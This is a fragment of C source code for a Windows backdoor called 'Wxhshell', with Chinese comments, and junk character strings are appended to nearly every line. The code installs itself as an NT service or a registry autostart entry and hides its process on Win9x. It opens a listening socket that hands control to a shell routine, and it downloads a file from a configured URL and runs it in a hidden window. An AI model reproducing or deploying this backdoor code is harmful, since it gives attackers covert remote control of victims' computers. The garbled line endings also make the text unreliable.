`m8 \
} PROCESS_BASIC_INFORMATION; ^f*}]`S
1{D_30sG.
PROCNTQSIP NtQueryInformationProcess; M &`ZF
:j_OO5b!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,p2BB"^_i
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #yz5CWu
W <.h@Rz+
HANDLE hProcess; bW03m_<M<1
PROCESS_BASIC_INFORMATION pbi; I3sH8/*
ms9zp?M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !_EL{ /ko
if(NULL == hInst ) return 0; &D@/_m $
n.9k<
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vC$Q4>m
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HQPb
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fXfBDB
4C AV)
if (!NtQueryInformationProcess) return 0; 74f3a|vx/
0-Z
sV3I&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Dn~e#
if(!hProcess) return 0; V)x(\ls]SX
qkQ_#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +LBDn"5
~q0g7?}&
CloseHandle(hProcess); '2)c;/-E
DXX(q k)6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xW|^2k
if(hProcess==NULL) return 0; 7C~qAI6Eg
fDe4 [QQ8
HMODULE hMod; P(iZGOKUs=
char procName[255]; CbPCj.MH
unsigned long cbNeeded; 0LI:R'P+P[
2K >tI9);
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X( Q*(_
%1f, 8BM
CloseHandle(hProcess); Ve/"9?Y_
W5'07N^
if(strstr(procName,"services")) return 1; // 以服务启动 b _Q:v&
C\.mv |aW~
return 0; // 注册表启动 Jt-s6-2
} -^A=U7
_`RzPIS^
// 主模块 Xxl>,QUA
int StartWxhshell(LPSTR lpCmdLine) )HZUCi/F]
{ \=n0@1Q=>
SOCKET wsl; O<}^`4d
BOOL val=TRUE; f1eY2UtWQ
int port=0; gkxEy5c[
struct sockaddr_in door; s=)0y$
do3 BI4Q
if(wscfg.ws_autoins) Install(); #$\cRLPg
;=rM Ii
port=atoi(lpCmdLine); HbQvu@
#Bo/1G=
if(port<=0) port=wscfg.ws_port; lo }[o0X
@3D8TPH
WSADATA data; %y@iA91K
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @\~qXz{6J
!AR$JUnX
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6Mpbmfr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r 5$(
door.sin_family = AF_INET; *~p~IX{
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [w iI
door.sin_port = htons(port);
9ICC2%j|
fX.V+.rj
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]>utLi5dX
closesocket(wsl); ZqI.n4:9
return 1; W@S'mxk#*
} @ mzf(Aq
.3;bUJ1
if(listen(wsl,2) == INVALID_SOCKET) { @G/':N
closesocket(wsl); $}[Tj0+:
return 1; m7:E73:
} Salu[)+?
Wxhshell(wsl); [\9WqHs
WSACleanup(); xP@VK!sc
`
eB-C//
return 0; 1[k~*QS
9JF*xXd>Q
} )9,*s!)9
2>{_O?UN
// 以NT服务方式启动 \L#BAB6z
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uj.~/W1,!
{ wf7<#jIq
DWORD status = 0; `[+9n2j
DWORD specificError = 0xfffffff; a
S-
rng
/Vpd*obMB
serviceStatus.dwServiceType = SERVICE_WIN32; cz_4cMgxu
serviceStatus.dwCurrentState = SERVICE_START_PENDING; !'14mN#A
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V/5hEo Dt
serviceStatus.dwWin32ExitCode = 0; h6*=Fn7C
serviceStatus.dwServiceSpecificExitCode = 0; T[$Sbz`
serviceStatus.dwCheckPoint = 0; `1%SXP1
serviceStatus.dwWaitHint = 0; {HqwpB\@
Df_W>QC
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &`7~vA&c
if (hServiceStatusHandle==0) return; ':,6s
)k&pp^q\
status = GetLastError(); 1fbd/-h
if (status!=NO_ERROR) fgxsC7P$
{ c$f|a$$b
serviceStatus.dwCurrentState = SERVICE_STOPPED; `R@24 )
serviceStatus.dwCheckPoint = 0; lY}mrb
serviceStatus.dwWaitHint = 0; ;F&wGe
serviceStatus.dwWin32ExitCode = status; ^H+j;K{5,
serviceStatus.dwServiceSpecificExitCode = specificError; @LY 5]og
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~A0E4UJgq
return; O$
i6r]j_
} ;(w=}s%]+
`w Sg/
serviceStatus.dwCurrentState = SERVICE_RUNNING; ";~}"Yz?[
serviceStatus.dwCheckPoint = 0; ]\nG1+ta
serviceStatus.dwWaitHint = 0; K{VF_S:
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BfOG e!Si
} =erA.u
#SY8Zv
// 处理NT服务事件,比如:启动、停止 X7kJWX
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;>=hQC{f>
{ Q:+Y-&||"
switch(fdwControl) K*J8(/WkD
{ a@@!Eg
A
case SERVICE_CONTROL_STOP: OU=9fw
serviceStatus.dwWin32ExitCode = 0; $52Te3n
serviceStatus.dwCurrentState = SERVICE_STOPPED; RCt)qh+
serviceStatus.dwCheckPoint = 0; C!w@Naj
serviceStatus.dwWaitHint = 0; T4
SByX9
{ "xdJ9Z-B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^&uWAQohL
} 3w )S=4lB
return; '4sT+q
case SERVICE_CONTROL_PAUSE: BO\l>\)Ir
serviceStatus.dwCurrentState = SERVICE_PAUSED; :Puv8[1i
break; o*n""m
case SERVICE_CONTROL_CONTINUE: Fc}wuW
serviceStatus.dwCurrentState = SERVICE_RUNNING; 2W
pe(
\(
break; 9\)NFZ3Mz
case SERVICE_CONTROL_INTERROGATE: 8O{]ML
break; :0T]p"y4
}; "!)8bTW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,|I\{J #C
} We#*.nr{3Z
^J>28Q\S
// 标准应用程序主函数 ~E^EF{h
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gx[#@(
{ p)ZlQ.d#Y
?l,i(I
// 获取操作系统版本 +bm2vIh$
OsIsNt=GetOsVer(); f.jAJ; N>
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6o;lTOes
]CC=
\ <
// 从命令行安装 7\ff=L-b
if(strpbrk(lpCmdLine,"iI")) Install(); }VR&*UJE
M
_U$I7
// 下载执行文件 BHj]w*Ov
if(wscfg.ws_downexe) { dab>@z4
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) },a|WL3^
WinExec(wscfg.ws_filenam,SW_HIDE); `M>{43dj
} H@IX$+;z
n 2#uH
if(!OsIsNt) { cb%w,yXw
// 如果时win9x,隐藏进程并且设置为注册表启动 q){]fp.,@
HideProc(); B_cn[?M
StartWxhshell(lpCmdLine); W&06~dI1!
} _;01/V"q6
else y8+?:=N.
if(StartFromService()) lRt8{GFy
// 以服务方式启动 4)j<(5
StartServiceCtrlDispatcher(DispatchTable); kq%`9,XE
else 6}NvVolr
// 普通方式启动 GWE`'V
StartWxhshell(lpCmdLine); uy\YJ.WMQ
[9?=&O#*
return 0; {OAy@6
+
}